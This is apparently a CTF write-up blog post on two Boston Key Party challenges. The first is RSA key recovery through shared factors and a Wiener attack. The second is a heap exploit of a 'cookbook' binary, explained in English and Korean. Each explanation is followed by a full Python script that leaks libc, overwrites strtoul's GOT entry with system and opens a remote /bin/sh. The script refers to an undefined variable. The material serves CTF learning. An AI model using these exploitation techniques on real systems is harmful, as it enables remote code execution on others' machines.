You can extract N and e by a series of commands:

$ PUBKEY=`grep -v -- ----- 1.pub | tr -d '\n'`
$ echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i
$ echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 18

or 

openssl asn1parse -in 1.pub
openssl asn1parse -in 1.pub -strparse 18



(thanks to http://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key)


#1

I found a nice tool: http://www.sympy.org/en/index.html

p=9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987245583L
q=9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987246769L
Password=  'XtCgoEKksjKFWlqOSxqsEhK/+tsr1k5c'


#2

N shared common factor, previous q

p=12401828372292379853813876769631673931562555174641979554254424458038243058638417065284301266881242433017828663818811606556559256084249679274024474025282343L
q=9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987246769L
Password= 'rlSpJ6HbP+cZXaOuSPOe4pgfevGnXtLt'


#3

Use factorint again

p=158304142767773473275973624083670689370769915077762416888835511454118432478825486829242855992134819928313346652550326171670356302948444602468194484069516892927291240140200374848857608566129161693687407393820501709299228594296583862100570595789385365606706350802643746830710894411204232176703046334374939501731L
q=54311
Password= 'hQdK+dKleMJqth/dofWyFaiWp3PW7jil'

#4
Use wiener attack (thanks to https://github.com/ctfs/write-ups-2015/blob/master/plaidctf-2015/crypto/curious/wiener_attack.py)

p=10843221374140991753173625949764386011485161421520044246309105053489500519257941272796681417497061734054081478280518835582353321569961722963922828311576983L
q=10114792273660656874618568712406420344176220457790563178092222929337786916374923318745284718351487926620784106195715878875311958793629905453919697155685507L
Password= '/3aAP5dF2zmrPh9K6A4AqMLsIiYDk2C2'


※ alternatively,

openssl rsa -text -in 1.pub

FLAG: BKPCTF{Its_not_you,_its_rsa_(that_is_broken)}


There exists a Use-After-Free bug when discarding a recipe in sub_8049092() because it doesn't assign 0x804d0a0 to NULL after freeing.


Memory Leak exists where it prints recipe. Let's call the address in 0x804d0a0 "ptr", and when a recipe is printed, the address to which ptr+116 is pointing is leaked.

cndq => Allocate and Free 0x804d0a0 (generates dangling ptr)

ang, "A"x116 + address to leak, => new ingredient on ptr

cp => Leak


Memory Overwrite occurs when freeing a node in linked list. Let's take a look.

     node1                       node2                       node3
+------------+              +------------+              +------------+
| ingredient |       |----->| ingredient |       |----->| ingredient |
|------------|       |      |------------|       |      |------------|
|    next    |-------|      |    next    |-------|      |    next    |
+------------+              +------------+              +------------+

In this situation, freeing node2 will assign node2->next to node1->next.

We can overwrite ptr+0 and ptr+4 the same way we leaked memory, each of which is pointing to a linked list respectively.

So if we overwrite ptr+4 to 0x804a098, it will look like this:

     node1 (0x804d098)           node2 (ptr1)        node3 (0x804d034 = strtoul-4)
+------------+              +---------------------+              +------------+
| ingredient |       |----->| ingredient (calory) |       |----->| ingredient |
|------------|       |      |---------------------|       |      |------------|
|    next    |-------|      |    next (price)     |-------|      |    next    |
+------------+              +---------------------+              +------------+

Because node2 is an ingredient object, we can manipulate node2 by setting a calory and price.

Deleting node2 will make node1's next point to 0x804d034. There is a reason for this specific address 0x804d034. After freeing node2, the function iterates all the nodes in linked list to count the nodes, and node3->next(strtoul@libc)->next is NULL. I tried several other addresses but it all failed, accessing every next address until next is NULL.

     node3 (0x804d034)               node4 (strtoul)
+--------------------+              +------------+
|     ingredient     |       |----->| ingredient |
|--------------------|       |      |------------|
|    next (strtoul)  |-------|      |   next(0)  |
+--------------------+              +------------+

Freeing node2 will make node1->next point to 0x804d034, then we can overwrite strtoul's GOT to system by setting ingredien'ts price. After that, there's a part where user input goes into strtoul at adding ingredients in recipe.


Final exploit code is as follows. (haven't got the time to make code clean..)

# -*- coding: utf-8 -*-
# BKPCTF{hey_my_grill_doesnt_work_here}
from socket import *
from struct import pack, unpack
from time import sleep
import re
import yum3

p = lambda x: pack("<I", x)
up = lambda x: unpack("<I", x)[0]

s = socket(2,1)
s.connect(('cookbook.bostonkey.party', 5000))

yum3.recv_until(s, "what's your name?\n")
s.send("asdf\n")
print 'asdf'
yum3.recv_until(s, "[q]uit\n")

##### [1] LEAK puts & calc system
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x804d030) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")

puts_addr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
system_addr = puts_addr - 161776
print 'system:', hex(system_addr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [2] LEAK 0x804d0a0
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x0804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

h804d0a0 = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'h804d0a0:',hex(h804d0a0)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [3] add recipe: water, corn, tomato
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("corn\n")
print 'corn'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("tomato\n")
print 'tomato'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [4] LEAK 0x804d0a0 => to put in second node for freeing
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(h804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

original_ptr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'original_ptr:',hex(original_ptr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [5] make a fake second node
# [cur_ingredient (need to be pointing a real one to prevent dying in free()) | next (=strtoul-4) ]
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send("134533172\n")
print 'p %08x' % 134533172 # 0x804d038-4 => strtoul-4
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [6] overwrite first node to 0x804d098
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("g\n")
print 'g'
yum3.recv_until(s, "how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : ")

s.send("f\n")
s.send(p(original)+p(0x0804d098)+'\x00\n')
print 'f original/0x0804d098'
yum3.recv_until(s, "[q]uit\n")

##### [7] free second node => [0x804d098+4] = 0x804d034
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("r\n")
print 'r'
yum3.recv_until(s, "which ingredient to remove? ")

s.send("corn\x00\n")
print 'corn'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send(str(system_addr-0x100000000)+"\n") # to fit %d
print 'p %08x' % system_addr
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [8] trigger
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("/bin/sh\n")
print '/bin/sh'

yum3.shell(s)

'''
cndq
ang
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
q
cp

c
a"water"
a"corn"
a"tomato"
q

an => 0x0804d098+4에 뭔가 있음
s 0x0804f6f0 = 0x804f2b0에 들어있는 original node값 # 134543088 # for freeing
p &strtoul@got 0x804d038-4 = 134533172
q
cdq
g 20
0x804f2b0: 0x0804f6c0 0x0804f2b8 ...
set *0x804f2b0= 원래 0x804f2b0에 들어있는 값
set *0x804f2b4= 0x0804d098

c
r"corn"
a
p  &system
q

c
a water
/bin/sh
'''



sub_8049092() 함수에서 recipe를 discard할 때 free만 해주고 0x804d0a0는 0으로 만들지않아 Use After Free가 가능하다.

특히 free를 해둔 뒤 새로운 ingredient를 할당하면 같은 주소에 malloc되는데, 이를 이용해 ingredient도 Use After Free가 가능하다.

Memory Leak은 Recipe를 프린트해주는 곳에서 발생한다. Recipe를 프린트할 때 0x804d0a0에 담긴 주소를 ptr이라고 할 때, ptr+116번째 주소를 leak해준다.

cndq => 0x804d0a0 할당 후 해제

ang, "A"x116 + leak할 주소, => 그 위에 new ingredient

cp => Leak


Memory Overwrite는 링크드리스트를 해제할 때 일어난다. 다음 그림을 살펴보자.

     node1                       node2                       node3
+------------+              +------------+              +------------+
| ingredient |       |----->| ingredient |       |----->| ingredient |
|------------|       |      |------------|       |      |------------|
|    next    |-------|      |    next    |-------|      |    next    |
+------------+              +------------+              +------------+

이 상태에서 node2를 해제하게되면 node1의 next포인터가 node2의 next포인터로 덮어써진다.

0x804a0d0에 들어있는 ptr+0과 ptr+4가 각각 링크드리스트 head를 가리키고있는데, 위에서 Memory Leak할 때 덮어쓴 것처럼 이도 덮어쓰기가 가능하다.

따라서 ptr+4를 0x804a098로 덮어쓰면 다음과 같은 형태가 된다.

     node1 (0x804d098)           node2 (ptr1)        node3 (0x804d034 = strtoul-4)
+------------+              +---------------------+              +------------+
| ingredient |       |----->| ingredient (calory) |       |----->| ingredient |
|------------|       |      |---------------------|       |      |------------|
|    next    |-------|      |    next (price)     |-------|      |    next    |
+------------+              +---------------------+              +------------+

이 때 node2는 0x804d098이 가리키고있는 ingredient객체이므로 새로운 ingredient를 추가하고 칼로리와 가격을 설정해주므로써 next를 조작가능하다.

이런 형태에서 node2를 지우게되면 node1의 next가 0x804d034를 가리키게 된다. 이 주소로 해주는 이유가 있는데, free를 한 뒤에 Linked List를 iterate하면서 Linked List의 전체 개수를 가져오는 함수를 호출하는데, node3는 next->next가 0으로 깔끔하게 끝난다. 이 주소 말고 다른 함수로 하다보면 node3 이후에 next가 0이 아닐 때까지 접근하다가 죽어버린다.

     node3 (0x804d034)               node4 (strtoul)
+--------------------+              +------------+
|     ingredient     |       |----->| ingredient |
|--------------------|       |      |------------|
|    next (strtoul)  |-------|      |   next(0)  |
+--------------------+              +------------+

node2를 free하면서 node1의 next가 0x804d034를 가리키게 되면 price를 설정해주므로써 strtoul의 GOT overwrite가 가능하다. strtoul의 GOT를 system으로 덮어쓰면 Recipe를 추가하는 곳에서 사용자 입력값이 strtoul로 들어가게 된다.


최종 exploit 코드는 다음과 같다. (정리하지 않아 더럽다..)

# -*- coding: utf-8 -*-
# BKPCTF{hey_my_grill_doesnt_work_here}
from socket import *
from struct import pack, unpack
from time import sleep
import re
import yum3

p = lambda x: pack("<I", x)
up = lambda x: unpack("<I", x)[0]

s = socket(2,1)
s.connect(('cookbook.bostonkey.party', 5000))

yum3.recv_until(s, "what's your name?\n")
s.send("asdf\n")
print 'asdf'
yum3.recv_until(s, "[q]uit\n")

##### [1] LEAK puts & calc system
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x804d030) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")

puts_addr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
system_addr = puts_addr - 161776
print 'system:', hex(system_addr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [2] LEAK 0x804d0a0
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x0804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

h804d0a0 = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'h804d0a0:',hex(h804d0a0)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [3] add recipe: water, corn, tomato
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("corn\n")
print 'corn'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("tomato\n")
print 'tomato'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [4] LEAK 0x804d0a0 => to put in second node for freeing
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(h804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

original_ptr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'original_ptr:',hex(original_ptr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [5] make a fake second node
# [cur_ingredient (need to be pointing a real one to prevent dying in free()) | next (=strtoul-4) ]
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send("134533172\n")
print 'p %08x' % 134533172 # 0x804d038-4 => strtoul-4
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [6] overwrite first node to 0x804d098
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("g\n")
print 'g'
yum3.recv_until(s, "how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : ")

s.send("f\n")
s.send(p(original)+p(0x0804d098)+'\x00\n')
print 'f original/0x0804d098'
yum3.recv_until(s, "[q]uit\n")

##### [7] free second node => [0x804d098+4] = 0x804d034
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("r\n")
print 'r'
yum3.recv_until(s, "which ingredient to remove? ")

s.send("corn\x00\n")
print 'corn'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send(str(system_addr-0x100000000)+"\n") # to fit %d
print 'p %08x' % system_addr
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [8] trigger
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("/bin/sh\n")
print '/bin/sh'

yum3.shell(s)

'''
cndq
ang
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
q
cp

c
a"water"
a"corn"
a"tomato"
q

an => 0x0804d098+4에 뭔가 있음
s 0x0804f6f0 = 0x804f2b0에 들어있는 original node값 # 134543088 # for freeing
p &strtoul@got 0x804d038-4 = 134533172
q
cdq
g 20
0x804f2b0: 0x0804f6c0 0x0804f2b8 ...
set *0x804f2b0= 원래 0x804f2b0에 들어있는 값
set *0x804f2b4= 0x0804d098

c
r"corn"
a
p  &system
q

c
a water
/bin/sh
'''



+ Recent posts